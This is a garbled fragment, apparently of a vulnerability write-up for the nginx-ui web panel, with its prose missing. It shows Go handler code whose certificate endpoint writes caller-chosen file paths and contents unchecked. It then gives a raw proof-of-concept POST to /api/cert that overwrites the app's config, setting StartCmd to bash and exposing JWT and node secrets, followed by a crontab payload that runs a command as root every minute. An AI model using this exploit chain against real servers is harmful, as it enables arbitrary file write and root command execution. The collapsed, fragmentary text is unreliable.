package main

import (    "github.com/gin-gonic/gin")

func main() {    // 创建一个默认的路由引擎    r := gin.Default()

    // 绑定一个GET请求到 /hello 路由上，当访问这个路由时，会执行相应的函数    r.GET("/hello", func(c *gin.Context) {        // 使用Context的String方法返回响应码200和字符串"Hello World"        c.String(200, "Hello World")    })

    // 运行HTTP服务器，默认监听在0.0.0.0:8080    r.Run()}

func authRequired() gin.HandlerFunc {    return func(c *gin.Context) {        abortWithAuthFailure := func() {            c.AbortWithStatusJSON(http.StatusForbidden, gin.H{                "message": "Authorization failed",            })        }

        token := c.GetHeader("Authorization")        if token == "" {            if token = c.GetHeader("X-Node-Secret"); token != "" && token == settings.ServerSettings.NodeSecret {                c.Set("NodeSecret", token)                c.Next()                return            } else {                c.Set("ProxyNodeID", c.Query("x_node_id"))                tokenBytes, _ := base64.StdEncoding.DecodeString(c.Query("token"))                token = string(tokenBytes)                if token == "" {                    abortWithAuthFailure()                    return                }            }        }

        if model.CheckToken(token) < 1 {            abortWithAuthFailure()            return        }

        if nodeID := c.GetHeader("X-Node-ID"); nodeID != "" {            c.Set("ProxyNodeID", nodeID)        }

        c.Next()    }}

func AddCert(c *gin.Context) {    var json struct {        Name                  string `json:"name"`        SSLCertificatePath    string `json:"ssl_certificate_path" binding:"required"`        SSLCertificateKeyPath string `json:"ssl_certificate_key_path" binding:"required"`        SSLCertificate        string `json:"ssl_certificate"`        SSLCertificateKey     string `json:"ssl_certificate_key"`        ChallengeMethod       string `json:"challenge_method"`        DnsCredentialID       int    `json:"dns_credential_id"`    }    if !api.BindAndValid(c, &json) {        return    }    certModel := &model.Cert{        Name:                  json.Name,        SSLCertificatePath:    json.SSLCertificatePath,        SSLCertificateKeyPath: json.SSLCertificateKeyPath,        ChallengeMethod:       json.ChallengeMethod,        DnsCredentialID:       json.DnsCredentialID,    }

    err := certModel.Insert()

    if err != nil {        api.ErrHandler(c, err)        return    }

    content := &cert.Content{        SSLCertificatePath:    json.SSLCertificatePath,        SSLCertificateKeyPath: json.SSLCertificateKeyPath,        SSLCertificate:        json.SSLCertificate,        SSLCertificateKey:     json.SSLCertificateKey,    }

    err = content.WriteFile()

    if err != nil {        api.ErrHandler(c, err)        return    }

    c.JSON(http.StatusOK, Transformer(certModel))}

func (c *Content) WriteFile() (err error) {    // MkdirAll creates a directory named path, along with any necessary parents,    // and returns nil, or else returns an error.    // The permission bits perm (before umask) are used for all directories that MkdirAll creates.    // If path is already a directory, MkdirAll does nothing and returns nil.

    err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644)    if err != nil {        return    }

    err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644)    if err != nil {        return    }

    if c.SSLCertificate != "" {        err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644)        if err != nil {            return        }    }

    if c.SSLCertificateKey != "" {        err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644)        if err != nil {            return        }    }

    return}

POST /api/cert HTTP/1.1Host: 127.0.0.1:9000Content-Length: 980Accept: application/json, text/plain, */*Authorization: <JWT>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Type: application/jsonAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7Connection: close

{"name":"poc","ssl_certificate_path":"/root/nginx/app.ini","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"[server]rnHttpHost          = 0.0.0.0rnHttpPort          = 9000rnRunMode           = debugrnJwtSecret         = 504f334b-ac68-4fbc-9160-2ecbf9e5794crnNodeSecret        = 139ab224-9e9e-444f-987e-b3a651175ad5rnHTTPChallengePort = 9180rnEmail             = [email protected]          = databasernStartCmd          = bashrnCADir             = dqsdqsdrnDemo              = falsernPageSize          = 10rnGithubProxy       = dqsdqfsdfsdfsdfsdrnrn[nginx]rnAccessLogPath =rnErrorLogPath  =rnConfigDir     =rnPIDPath       =rnTestConfigCmd =rnReloadCmd     =rnRestartCmd    =rnrn[openai]rnBaseUrl = rnToken   =rnProxy   =rnModel   = rnrn[casdoor]rnEndpoint     =rnClientId     =rnClientSecret =rnCertificate  =rnOrganization =rnApplication  =rnRedirectUri  =","ssl_certificate_key":"test2"}

SHELL=/bin/bashPATH=/sbin:/bin:/usr/sbin:/usr/binMAILTO=root

# For details see man 4 crontabs

# Example of job definition:# .---------------- minute (0 - 59)# |  .------------- hour (0 - 23)# |  |  .---------- day of month (1 - 31)# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat# |  |  |  |  |# *  *  *  *  * user-name  command to be executed* * * * * root whoami >> /var/log/whoami.log 2>&1